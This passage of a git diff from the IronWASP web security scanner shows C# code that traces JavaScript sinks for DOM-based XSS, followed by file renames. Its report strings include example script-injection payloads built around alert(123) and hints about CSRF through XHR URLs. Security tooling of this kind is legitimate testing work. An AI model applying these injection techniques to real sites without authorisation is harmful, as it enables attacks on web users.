ObservationMsg() { Type = "Page Unloading", Details = Msg["value"].ToString() }); + break; + } + } + */ + + + public class Data + { + static int DataIdCounter = 0; + + public long Time = 0; + public long TimeInData = 0; + public string WindowId = ""; + public string Action = ""; + public string Url = ""; + public string Origin = ""; + public string XhrId = ""; + //public int XhrLogId = 0; + public DataType Type; + public SinkType SinkType; + public string[] Arguments = new string[] { }; + public string[] Nodes = new string[] { }; + public string NodeName = ""; + public string AttributeName = ""; + public string AttributeValue = ""; + + public int DataId = 0; + + public Data AjaxRequest = null; + public Data AjaxResponse = null; + + public string AjaxRequestBody = ""; + public string AjaxResponseBody = ""; + + public bool Analyzed = false; + public bool AjaxResponseAnalyzed = false; + + public Dictionary> Values = new Dictionary>(); + + public List ObservationMsgs = new List(); + + public Dictionary> Reflections = new Dictionary>(); + + public Data(Session Sess) + { + this.DataId = Interlocked.Increment(ref DataIdCounter); + + this.Url = Sess.Request.FullUrl; + ParseUrl(); + this.Time = DateTime.Now.Ticks; + if (Sess.Response == null) + { + this.Type = DataType.AjaxRequest; + AddRequestBodyValues(Sess.Request.BodyString, Sess.Request.IsJson); + /* + if (Sess.Request.IsNormal) + { + this.Values[DataLocation.JsonValueInRequestBody] = new List(); + foreach (string Name in Sess.Request.Body.GetNames()) + { + this.Values[DataLocation.JsonValueInRequestBody].AddRange(DataValue.Parse(Sess.Request.Body.GetAll(Name))); + } + } + else + { + AddRequestBodyValues(Sess.Request.BodyString, Sess.Request.IsJson); + } + */ + } + else + { + this.Type = DataType.AjaxResponse; + AddResponseBodyValues(Sess.Response.BodyString); + } + } + + public Data(Newtonsoft.Json.Linq.JObject Msg) + { + this.DataId = Interlocked.Increment(ref DataIdCounter); + + this.Time = DateTime.Now.Ticks; + this.TimeInData = Msg.Value("time"); + this.WindowId = Msg.Value("window_id"); + this.Action = Msg.Value("action"); + this.Url = Msg.Value("url"); + + switch (this.Action) + { + case ("EvalCalled"): + this.SinkType = JavaScriptTracer.SinkType.eval; + break; + case ("FunctionCalled"): + this.SinkType = JavaScriptTracer.SinkType.Function; + break; + case ("SetTimeoutCalled"): + this.SinkType = JavaScriptTracer.SinkType.setTimeout; + break; + case ("SetIntervalCalled"): + this.SinkType = JavaScriptTracer.SinkType.setInterval; + break; + case ("XhrOpenCalled"): + this.SinkType = JavaScriptTracer.SinkType.XhrOpen; + break; + case ("AttributeChanged"): + this.SinkType = JavaScriptTracer.SinkType.Attribute; + break; + case ("NodeAdded"): + this.SinkType = JavaScriptTracer.SinkType.Html; + break; + } + + switch (this.Action) + { + case ("EvalCalled"): + case ("FunctionCalled"): + case ("SetTimeoutCalled"): + case ("SetIntervalCalled"): + this.Type = DataType.MethodCall; + ParseArguments(Msg); + break; + case ("XhrOpenCalled"): + this.Type = DataType.AjaxOpen; + this.XhrId = Msg["value"].Value("xhr_id"); + ParseArguments(Msg); + break; + case ("AttributeChanged"): + case ("NodeAdded"): + this.Type = DataType.DomChange; + ParseNodes(Msg); + break; + case ("PageLoaded"): + this.Type = DataType.PageLoad; + break; + case ("PageUnloading"): + this.Type = DataType.PageUnload; + break; + case ("XhrSendCalled"): + throw new Exception("XhrSendCalled"); + } + ParseUrl(); + } + + void ParseUrl() + { + Request Req = new Request(this.Url); + this.Origin = Req.BaseUrl; + + Values[DataLocation.Url] = DataValue.Parse(this.Url.Substring(Req.BaseUrl.Length)); + } + + public void ParseArguments(Newtonsoft.Json.Linq.JObject Msg) + { + if (Msg["value"]["args"] is Newtonsoft.Json.Linq.JObject) + { + List ArgList = new List(); + foreach(Newtonsoft.Json.Linq.JProperty Arg in (Msg["value"]["args"] as Newtonsoft.Json.Linq.JObject).Properties()) + { + ArgList.Add((Arg.Value as Newtonsoft.Json.Linq.JValue).Value.ToString()); + } + this.Arguments = ArgList.ToArray(); + } + } + + public void ParseNodes(Newtonsoft.Json.Linq.JObject Msg) + { + if (this.SinkType == JavaScriptTracer.SinkType.Attribute) + { + this.NodeName = Msg["value"].Value("nodeName"); + this.AttributeName = Msg["value"].Value("attributeName"); + this.AttributeValue = Msg["value"].Value("attributeValue"); + } + else if (this.SinkType == JavaScriptTracer.SinkType.Html) + { + List NodeList = new List(); + foreach (var Ele in Msg["value"]) + { + try + { + NodeList.Add((Ele as Newtonsoft.Json.Linq.JValue).Value.ToString()); + } + catch + { + NodeList.Add(Ele.ToString()); + } + } + this.Nodes = NodeList.ToArray(); + } + } + + /* + public void ParseValues(Newtonsoft.Json.Linq.JObject Msg) + { + //Values[DataLocation.Url] = DataValue.Parse(this.Url); + + Request Req = new Request(this.Url); + Values[DataLocation.UrlPath] = DataValue.Parse(Req.UrlPathParts); + Values[DataLocation.QueryParameterValue] = new List(); + foreach(string Name in Req.Query.GetNames()) + { + Values[DataLocation.QueryParameterValue].AddRange(DataValue.Parse(Req.Query.GetAll(Name))); + } + if (this.Url.Contains("#")) + { + string UrlHash = this.Url.Split(new char[]{'#'}, 2)[1]; + if(UrlHash.Length > 0) + { + ParseUrlHash(UrlHash); + } + } + + } + */ + + /* + public void ParseUrlHash(string UrlHash) + { + this.Values[DataLocation.UrlHash] = DataValue.Parse(UrlHash); + } + */ + + + public List ParseJson(Newtonsoft.Json.Linq.JToken Json) + { + List JsonValues = new List(); + ParseJsonValue(Json, JsonValues); + return JsonValues; + } + + void ParseJsonValue(Newtonsoft.Json.Linq.JToken Node, List JsonValues) + { + if (Node.Type == Newtonsoft.Json.Linq.JTokenType.Object) + { + foreach (var Prop in (Node as Newtonsoft.Json.Linq.JObject).Properties()) + { + ParseJsonValue(Prop, JsonValues); + } + } + else if (Node.Type == Newtonsoft.Json.Linq.JTokenType.Array) + { + foreach (var Ele in Node) + { + ParseJsonValue(Ele, JsonValues); + } + } + else if (Node is Newtonsoft.Json.Linq.JValue) + { + JsonValues.Add((Node as Newtonsoft.Json.Linq.JValue).Value.ToString()); + } + } + + public void AddRequestBodyValues(string Body, bool IsJson) + { + this.AjaxRequestBody = Body; + if (IsJson) + { + this.Values[DataLocation.JsonValueInRequestBody] = DataValue.Parse(ParseJson(Tools.ParseAsJson(Body))); + } + else + { + this.Values[DataLocation.AjaxBody] = DataValue.Parse(Body); + } + } + + public void AddResponseBodyValues(string Body) + { + this.AjaxResponseBody = Body; + } + + /* + void AddBodyValues(string Body, DataLocation Loc) + { + if (Tools.IsJson(Body)) + { + this.Values[Loc] = DataValue.Parse(ParseJson(Tools.ParseAsJson(Body))); + } + else + { + this.Values[Loc] = DataValue.Parse(Body); + } + } + */ + + public void AddAjaxRequest(Data AjaxRequestData) + { + if (this.Type == DataType.AjaxOpen && AjaxRequestData.Type == DataType.AjaxRequest) + { + this.Type = DataType.AjaxCall; + this.AjaxRequest = AjaxRequestData; + AddTraceMessagesToList(this); + } + else + { + throw new Exception("Trying to combined invalid types of Data objects"); + } + } + public void AddAjaxResponse(Data AjaxResponseData) + { + if (this.Type == DataType.AjaxCall && AjaxResponseData.Type == DataType.AjaxResponse) + { + this.AjaxResponse = AjaxResponseData; + this.FindAjaxReflections(); + AddTraceMessagesToList(this); + } + else + { + throw new Exception("Trying to combined invalid types of Data objects"); + } + } + + public void Analyze() + { + if (this.Type == DataType.MethodCall) + { + foreach (string Arg in this.Arguments) + { + CheckAgainstUrlValues(Arg, this.SinkType); + } + } + else if (this.Type == DataType.DomChange) + { + if (this.SinkType == JavaScriptTracer.SinkType.Html) + { + foreach (string HtmlPart in this.Nodes) + { + CheckAgainstUrlValues(HtmlPart, this.SinkType); + } + } + else if (this.SinkType == JavaScriptTracer.SinkType.Attribute) + { + CheckAgainstUrlValues(this.AttributeValue, JavaScriptTracer.SinkType.Attribute); + } + } + this.Analyzed = true; + } + + public void Analyze(Data AjaxCallData) + { + /* + * Must take X-domain response data as a source and check t against sinks. Also if there are any reflections in same domain ajax response then they should be treated as source as well and checked + */ + this.AjaxResponseAnalyzed = true; + } + + public void CheckAgainstUrlValues(string SinkVal, SinkType ST) + { + foreach (DataValue Val in Values[DataLocation.Url]) + { + string Found = Val.IsFoundIn(SinkVal); + if (Found.Length > 0) + { + if (this.SinkType == JavaScriptTracer.SinkType.Attribute) + { + this.ObservationMsgs.Add(new ObservationMsg(this.NodeName, this.AttributeName, SinkVal, this.Url, Found)); + } + else + { + this.ObservationMsgs.Add(new ObservationMsg(ST, Found, SinkVal, this.Url)); + } + } + } + } + + void FindAjaxReflections() + { + if (this.AjaxResponse != null) + { + if (this.AjaxRequest.Values.ContainsKey(DataLocation.Url)) + { + foreach (DataValue Val in this.AjaxRequest.Values[DataLocation.Url]) + { + string Found = Val.IsFoundIn(this.AjaxResponse.AjaxResponseBody); + if (Found.Length > 0) + { + if (!this.Reflections.ContainsKey(DataLocation.Url)) + { + this.Reflections[DataLocation.Url] = new List(); + } + this.Reflections[DataLocation.Url].Add(Found); + } + } + } + if (this.AjaxRequest.Values.ContainsKey(DataLocation.JsonValueInRequestBody)) + { + foreach (DataValue Val in this.AjaxRequest.Values[DataLocation.JsonValueInRequestBody]) + { + string Found = Val.IsFoundIn(this.AjaxResponse.AjaxResponseBody); + if (Found.Length > 0) + { + if (!this.Reflections.ContainsKey(DataLocation.AjaxBody)) + { + this.Reflections[DataLocation.AjaxBody] = new List(); + } + this.Reflections[DataLocation.AjaxBody].Add(Found); + } + } + } + if (this.AjaxRequest.Values.ContainsKey(DataLocation.AjaxBody)) + { + foreach (DataValue Val in this.AjaxRequest.Values[DataLocation.AjaxBody]) + { + string Found = Val.IsFoundIn(this.AjaxResponse.AjaxResponseBody); + if (Found.Length > 0) + { + if (!this.Reflections.ContainsKey(DataLocation.AjaxBody)) + { + this.Reflections[DataLocation.AjaxBody] = new List(); + } + this.Reflections[DataLocation.AjaxBody].Add(Found); + } + } + } + } + } + } + + public class DataValue + { + public string Normal = ""; + public string UrlEncoded = ""; + public string UrlDecoded = ""; + public string JsonEncoded = ""; + + static Regex MatchRegex = new Regex(@"[\w]{4,}", RegexOptions.Compiled); + + public DataValue(string Val) + { + this.Normal = Val; + this.UrlEncoded = Tools.UrlEncode(Val); + this.UrlDecoded = Tools.UrlDecode(Val); + this.JsonEncoded = Tools.JsonEncode(Val); + + if (UrlEncoded == Val) UrlEncoded = ""; + if (UrlDecoded == Val) UrlDecoded = ""; + if (JsonEncoded == Val) JsonEncoded = ""; + + if (UrlEncoded == UrlDecoded) UrlDecoded = ""; + if (UrlEncoded == JsonEncoded) JsonEncoded = ""; + if (UrlDecoded == JsonEncoded) JsonEncoded = ""; + } + + public string IsFoundIn(string SinkVal) + { + if (SinkVal.Contains(this.Normal)) + { + return this.Normal; + } + else if (this.UrlDecoded.Length > 0 && SinkVal.Contains(this.UrlDecoded)) + { + return this.UrlDecoded; + } + else if (this.UrlEncoded.Length > 0 && SinkVal.Contains(this.UrlEncoded)) + { + return this.UrlEncoded; + } + else if (this.JsonEncoded.Length > 0 && SinkVal.Contains(this.JsonEncoded)) + { + return this.JsonEncoded; + } + else + { + return ""; + } + } + + public ValueMatchType IsEqual(string Val) + { + if (this.Normal == Val) + { + return ValueMatchType.Original; + } + else if (this.UrlDecoded == Val) + { + return ValueMatchType.UrlDecoded; + } + else if (this.UrlEncoded == Val) + { + return ValueMatchType.UrlEncoded; + } + else if (this.JsonEncoded == Val) + { + return ValueMatchType.JsonEncoded; + } + else + { + return ValueMatchType.None; + } + } + + public static List Parse(List Input) + { + List Values = new List(); + foreach (string In in Input) + { + Values.AddRange(Parse(In)); + } + return Values; + } + + public static List Parse(string Input) + { + List Values = new List(); + foreach (Match M in MatchRegex.Matches(Input)) + { + Values.Add(new DataValue(M.Value)); + } + return Values; + } + } + + public enum ValueMatchType + { + Original, + UrlEncoded, + UrlDecoded, + JsonEncoded, + None + } + + public enum DataType + { + MethodCall, + DomChange, + AjaxCall, + //These three will be stored in the AjaxPartHolderDict and once combined will be converted to AjaxCall and moved to the DataDict + AjaxOpen, + AjaxRequest, + AjaxResponse, + // + PageLoad, + PageUnload + } + + public enum SinkType + { + eval, + setInterval, + setTimeout, + Function, + XhrOpen, + Attribute, + Html + } + + public enum DataLocation + { + Url, + /* + UrlPath, + QueryParameterValue, + UrlHash, + */ + AjaxBody, + JsonValueInRequestBody, + JsonValueInResponseBody + } + + public enum SourceType + { + CorResponse,//Response values in COR response + Location,//values in location.href + AjaxRequest//values in ajax request that were reflected back in response + } + + public class JsTraceMsg + { + public string Url = ""; + public string Details = ""; + + public string GetMsgHeading() + { + return string.Format(">URL of the page:> >{0}>>>", this.Url); + } + + public static string HiglightMatch(string Match, string Full) + { + return Full.Replace(Match, string.Format(">{0}>", Match)); + } + } + + public class ObservationMsg : JsTraceMsg + { + public string Time = ""; + public string Type = ""; + + //public string Message = ""; + + public ObservationMsg(SinkType Sink, string SourceValue, string SinkValue, string _Url) + { + this.Url = _Url; + StringBuilder SB = new StringBuilder(this.GetMsgHeading()); + + if (Sink == SinkType.XhrOpen) + { + this.Type = "Url to XMLHttpRequest"; + SB.Append(string.Format("The text >{0}> was found in the second argument of the >open> method of >XMLHttpRequest>. ", SourceValue)); + SB.Append(string.Format("This text could have possibly come from the URL of the page:>>{0}>", HiglightMatch(SourceValue, _Url))); + + SB.Append(string.Format(">>Full value of the argument is:> >{0}>.", HiglightMatch(SourceValue, SinkValue))); + + SB.Append(">>If it is possible to control this parameter then you can perform CSRF attacks by entering relative URLs here and perform cross-origin attacks by entering absolute URLs"); + } + else if (Sink == SinkType.eval || Sink == SinkType.setTimeout || Sink == SinkType.setInterval || Sink == SinkType.Function) + { + this.Type = string.Format("Url to {0}", Sink); + SB.Append(string.Format("The text >{0}> was found in argument of >{1}> function. ", SourceValue, Sink)); + SB.Append(string.Format("This text could have possibly come from the URL of the page:>>{0}>", HiglightMatch(SourceValue, _Url))); + + SB.Append(">>"); + SB.Append(GetMessageForInjectionInJs(SourceValue, SinkValue)); + + SB.Append(string.Format(">>Full value of the argument is:> >{0}>.", HiglightMatch(SourceValue, SinkValue))); + } + else if (Sink == SinkType.Html) + { + this.Type = "Url to HTML"; + SB.Append(string.Format("The text >{0}> was found in was found in a piece of HTML that was added to the page.", SourceValue)); + SB.Append(string.Format("This text could have possibly come from the URL of the page:>>{0}>", HiglightMatch(SourceValue, _Url))); + + SB.Append(string.Format(">>Full value of the HTML that was added is:> >{0}>.", HiglightMatch(SourceValue, SinkValue))); + } + this.Details = SB.ToString(); + } + + public ObservationMsg(string TagName, string AttributeName, string AttributeValue, string _Url, string SourceValue) + { + this.Url = _Url; + StringBuilder SB = new StringBuilder(this.GetMsgHeading()); + this.Type = "Url to Attribute"; + SB.Append(string.Format("The text >{0}> was found in was found in the new value of the >{1}> attribute of the >{2}> tag in the page.", SourceValue, AttributeName, TagName)); + SB.Append(string.Format("This text could have possibly come from the URL of the page:>>{0}>", HiglightMatch(SourceValue, _Url))); + + SB.Append(string.Format(">>Full value of this attribute is:> >{0}>.", HiglightMatch(SourceValue, AttributeValue))); + + this.Details = SB.ToString(); + } + + /* + string GetMessageForInjectionInHtml(string Text, string Html) + { + HTML ParsedHtml = new HTML(Html); + List Contexts = ParsedHtml.GetContext(Text); + } + + string GetMessageForHtmlContext(string Text, ReflectionContext Context) + { + switch(Context) + { + case(ReflectionContext.UrlAttribute): + break; + case (ReflectionContext.EventAttribute): + break; + case (ReflectionContext.ElementName): + break; + case (ReflectionContext.AttributeName): + break; + case (ReflectionContext.AttributeValueWithSingleQuote): + break; + case (ReflectionContext.AttributeValueWithDoubleQuote): + break; + case (ReflectionContext.Html): + break; + } + } + */ + + string GetMessageForInjectionInJs(string Text, string Js) + { + List Contexts = CodeContext.GetJavaScriptContext(Js, Text); + if (Contexts.Count == 0) return ""; + List UniqueContexts = new List(); + foreach(string Context in Contexts) + { + if(!UniqueContexts.Contains(Context)) + { + UniqueContexts.Add(Context); + } + } + StringBuilder SB = new StringBuilder(); + SB.Append(string.Format("The text >{0}> appears in the JavaScript in {1} context(s).", Text, UniqueContexts.Count)); + if(UniqueContexts.Count == 1) + { + SB.Append(string.Format("The context in which the text appears is >{0}>", CodeContext.ContextDescriptions[UniqueContexts[0]])); + SB.Append(">"); + SB.Append(GetMessageForJsContext(UniqueContexts[0], Text)); + } + else if(UniqueContexts.Count > 1) + { + SB.Append(">The contexts are:>"); + foreach(string C in UniqueContexts) + { + SB.Append(string.Format(" >{0}>", CodeContext.ContextDescriptions[C])); + SB.Append(">"); + SB.Append(GetMessageForJsContext(C, Text)); + SB.Append(">"); SB.Append(">"); + } + } + return SB.ToString(); + } + + string GetMessageForJsContext(string Context, string Text) + { + StringBuilder SB = new StringBuilder(); + switch (Context) + { + case (CodeContext.SingleQuotedStringContext): + SB.Append(string.Format("The text >{0}> appears between single quotes. In order to inject JavaScript that can be executed you would have to close out the single quotes.", Text)); + SB.Append(string.Format(">An example of such a payload is >>{0}' + alert(123) + 'x>>", Text)); + break; + case (CodeContext.DoubleQuotedStringContext): + SB.Append(string.Format("The text >{0}> appears between double quotes. In order to inject JavaScript that can be executed you would have to close out the double quotes.", Text)); + SB.Append(string.Format(">An example of such a payload is >>{0}\" + alert(123) + \"x>>", Text)); + break; + case (CodeContext.SingleLineCommentContext): + SB.Append(string.Format("The text >{0}> appears inside a single line comment. In order to inject JavaScript that can be executed you would have to come out of the the comment area by entering a new line character (\\r or \\n).", Text)); + SB.Append(string.Format(">An example of such a payload is >>{0}\\r\\n alert(123);//>>", Text)); + break; + case (CodeContext.MultiLineCommentContext): + SB.Append(string.Format("The text >{0}> appears inside a multi-line comment. In order to inject JavaScript that can be executed you would have to come out of the the comment area by entering */.", Text)); + SB.Append(string.Format(">An example of such a payload is >>{0}*/ alert(123);/*>>", Text)); + break; + case (CodeContext.NormalStringContext): + SB.Append(string.Format("The text >{0}> appears in executable section of JavaScript, i.e; It does not appear inside quoted strings or comments sections.", Text)); + SB.Append("You should be able to directly enter some JavaScript function and get it to execute."); + break; + } + return SB.ToString(); + } + } + + public class AjaxCallMsg : JsTraceMsg + { + public string Time = ""; + public string XhrId = ""; + public string SourceOrigin = ""; + public string TargetOrigin = ""; + public bool Reflection = false; + + public AjaxCallMsg(Data D) + { + this.XhrId = D.XhrId; + this.SourceOrigin = D.Origin; + this.Url = D.Url; + + if (D.AjaxRequest != null) + { + if (D.AjaxRequest.Origin.Equals(D.Origin)) + { + this.TargetOrigin = " - "; + } + else + { + this.TargetOrigin = D.AjaxRequest.Origin; + } + } + StringBuilder SB = new StringBuilder(this.GetMsgHeading()); + if (D.AjaxResponse != null) + { + if (D.Reflections.Count > 0) + { + Reflection = true; + SB.Append("The following values from the Ajax request were found in the Ajax response as well. They were perhaps reflected back by the server:"); + SB.Append(">"); + if (D.Reflections.ContainsKey(DataLocation.Url)) + { + SB.Append(">From the url of the Ajax request:>"); + SB.Append(">"); + foreach (string Ref in D.Reflections[DataLocation.Url]) + { + SB.Append(string.Format(" >{0}>", Ref)); + SB.Append(">"); + } + } + if (D.Reflections.ContainsKey(DataLocation.AjaxBody)) + { + SB.Append(">From the body of the Ajax request:>"); + SB.Append(">"); + foreach (string Ref in D.Reflections[DataLocation.AjaxBody]) + { + SB.Append(string.Format(" >{0}>", Ref)); + SB.Append(">"); + } + } + } + SB.Append(">>"); + SB.Append("The full Ajax response body content is:"); + SB.Append(">"); + SB.Append(string.Format(">{0}>", D.AjaxResponse.AjaxResponseBody)); + } + else + { + if (D.Origin != D.AjaxRequest.Origin) + { + SB.Append(string.Format("A Cross Origin Ajax request was made from >{0}> to >{1}>", D.Origin, D.AjaxRequest.Url)); + } + else + { + SB.Append(string.Format("An Ajax request was made to >{0}>", D.AjaxRequest.Url)); + } + if(D.Arguments.Length > 1) + { + SB.Append(">"); + SB.Append(string.Format("The value of the url argument passed to the >open> method of >XMLHttRequest> object is >{0}>", D.Arguments[1])); + } + if(D.AjaxRequest.AjaxRequestBody.Length > 0) + { + SB.Append(">"); + SB.Append("The value of the argument passed to the >send> method of XMLHttRequest object is :"); + SB.Append(">"); + try + { + SB.Append(string.Format(">{0}>", IronJint.Beautify(D.AjaxRequest.AjaxRequestBody))); + } + catch + { + SB.Append(string.Format(">{0}>", D.AjaxRequest.AjaxRequestBody)); + } + } + } + this.Details = SB.ToString(); + } + } + + public class NativeMethodCallMsg : JsTraceMsg + { + public string Time = ""; + public string Origin = ""; + public string Method = ""; + + public NativeMethodCallMsg(Data D) + { + this.Origin = D.Origin; + this.Url = D.Url; + this.Method = D.SinkType.ToString(); + + StringBuilder SB = new StringBuilder(this.GetMsgHeading()); + SB.Append(string.Format(">{0}> method was called with the following arguments:", D.SinkType)); + SB.Append(">"); + for (int i = 0; i < D.Arguments.Length; i++) + { + SB.Append(string.Format("> >>Argument {0}:>> >", i + 1)); + try + { + SB.Append(string.Format(" >{0}>", IronJint.Beautify(D.Arguments[i]))); + } + catch + { + SB.Append(D.Arguments[i]); + } + SB.Append(">"); + } + this.Details = SB.ToString(); + } + } + + public class DomChangeMsg : JsTraceMsg + { + public string Time = ""; + public string Origin = ""; + public string Action = ""; + + public DomChangeMsg(Data D) + { + this.Origin = D.Origin; + this.Url = D.Url; + + StringBuilder SB = new StringBuilder(this.GetMsgHeading()); + if (D.SinkType == SinkType.Attribute) + { + this.Action = "Attribute Changed"; + SB.Append(string.Format("The value of the >{0}> attribute of the >{1}> tag was changed to >{2}>.", D.AttributeName, D.NodeName, D.AttributeValue)); + } + else if (D.SinkType == SinkType.Html) + { + this.Action = "HTML Node Added/Modified"; + SB.Append("The following HTML nodes were added to the page: "); + SB.Append(">"); + for (int i = 0; i < D.Nodes.Length; i++) + { + SB.Append(string.Format("> >>HTML Node {0}:>> >", i + 1)); + SB.Append(string.Format(">{0}>", D.Nodes[i])); + SB.Append(">"); + } + } + + this.Details = SB.ToString(); + } + } + } +} diff --git a/IronWASP/JintItem.cs b/Iron/JintItem.cs similarity index 96% rename from IronWASP/JintItem.cs rename to Iron/JintItem.cs index 67ba42a..eb1f383 100644 --- a/IronWASP/JintItem.cs +++ b/Iron/JintItem.cs @@ -1,95 +1,95 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using Jint.Debugger; -using System.Text; -using Jint; -using Jint.Expressions; - -namespace IronWASP -{ - internal class JintItem - { - internal int LineNo = 0; - internal int CharNo = 0; - internal JintState State = JintState.Identifier; - - internal string Value = ""; - internal bool Tainted = false; - internal bool Source = false; - internal bool Sink = false; - - internal List SubItems = new List(); - internal List SubStatements = new List();//to hold the body of function declarations - - internal List SourceReasons = new List(); - internal List SinkReasons = new List(); - - internal List ItemBody = new List(); - - internal List> LocalVariables = new List>(); - - internal JintItem(int LineNo, int CharNo, JintState State) - { - this.LineNo = LineNo; - this.CharNo = CharNo; - this.State = State; - } - - internal JintItem(int LineNo, int CharNo, JintState State, string Value) - { - this.LineNo = LineNo; - this.CharNo = CharNo; - this.State = State; - this.Value = Value; - } - - internal JintItem(SourceCodeDescriptor Source, JintState State, IronJint IJ) - { - if (Source != null) - { - this.LineNo = Source.Start.Line; - this.CharNo = Source.Start.Char; - } - else - { - this.LineNo = IJ.CurrentLineNo; - this.CharNo = IJ.CurrentCharNo; - } - this.State = State; - } - - internal JintItem(SourceCodeDescriptor Source, JintState State, string Value, IronJint IJ) - { - if (Source != null) - { - this.LineNo = Source.Start.Line; - this.CharNo = Source.Start.Char; - } - else - { - this.LineNo = IJ.CurrentLineNo; - this.CharNo = IJ.CurrentCharNo; - } - this.State = State; - this.Value = Value; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using Jint.Debugger; +using System.Text; +using Jint; +using Jint.Expressions; + +namespace IronWASP +{ + internal class JintItem + { + internal int LineNo = 0; + internal int CharNo = 0; + internal JintState State = JintState.Identifier; + + internal string Value = ""; + internal bool Tainted = false; + internal bool Source = false; + internal bool Sink = false; + + internal List SubItems = new List(); + internal List SubStatements = new List();//to hold the body of function declarations + + internal List SourceReasons = new List(); + internal List SinkReasons = new List(); + + internal List ItemBody = new List(); + + internal List> LocalVariables = new List>(); + + internal JintItem(int LineNo, int CharNo, JintState State) + { + this.LineNo = LineNo; + this.CharNo = CharNo; + this.State = State; + } + + internal JintItem(int LineNo, int CharNo, JintState State, string Value) + { + this.LineNo = LineNo; + this.CharNo = CharNo; + this.State = State; + this.Value = Value; + } + + internal JintItem(SourceCodeDescriptor Source, JintState State, IronJint IJ) + { + if (Source != null) + { + this.LineNo = Source.Start.Line; + this.CharNo = Source.Start.Char; + } + else + { + this.LineNo = IJ.CurrentLineNo; + this.CharNo = IJ.CurrentCharNo; + } + this.State = State; + } + + internal JintItem(SourceCodeDescriptor Source, JintState State, string Value, IronJint IJ) + { + if (Source != null) + { + this.LineNo = Source.Start.Line; + this.CharNo = Source.Start.Char; + } + else + { + this.LineNo = IJ.CurrentLineNo; + this.CharNo = IJ.CurrentCharNo; + } + this.State = State; + this.Value = Value; + } + } +} diff --git a/IronWASP/JintState.cs b/Iron/JintState.cs similarity index 96% rename from IronWASP/JintState.cs rename to Iron/JintState.cs index 020f23f..a3bfe80 100644 --- a/IronWASP/JintState.cs +++ b/Iron/JintState.cs @@ -1,53 +1,53 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - enum JintState - { - Identifier, - ValueExpression, - AssignmentExpressionLeft, - AssignmentExpressionRight, - ArrayDeclaration, - Property, - MethodName, - MethodArgumentIdentifier, - MethodArgument, - StringValue, - NonStringValue, - IntValue, - Indexer, - StringIndex,//a["a"] - IntIndex,//a[1] - IdentifierIndex,//a[a] - ItemIndex, - WithStringValue, - WithExpression, - MethodCallName, - MethodCallArgument, - MethodCallArgumentTaintPointer, - MethodReturn, - BinaryOperator, - AnonymousMethod//a dummy value required in oneplace inside the MethoCall statement analyzer, has no use anywhere else - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + enum JintState + { + Identifier, + ValueExpression, + AssignmentExpressionLeft, + AssignmentExpressionRight, + ArrayDeclaration, + Property, + MethodName, + MethodArgumentIdentifier, + MethodArgument, + StringValue, + NonStringValue, + IntValue, + Indexer, + StringIndex,//a["a"] + IntIndex,//a[1] + IdentifierIndex,//a[a] + ItemIndex, + WithStringValue, + WithExpression, + MethodCallName, + MethodCallArgument, + MethodCallArgumentTaintPointer, + MethodReturn, + BinaryOperator, + AnonymousMethod//a dummy value required in oneplace inside the MethoCall statement analyzer, has no use anywhere else + } +} diff --git a/IronWASP/LoadForm.Designer.cs b/Iron/LoadForm.Designer.cs similarity index 91% rename from IronWASP/LoadForm.Designer.cs rename to Iron/LoadForm.Designer.cs index 84af786..6919c4f 100644 --- a/IronWASP/LoadForm.Designer.cs +++ b/Iron/LoadForm.Designer.cs @@ -1,135 +1,135 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class LoadForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(LoadForm)); - this.LoadLogoPB = new 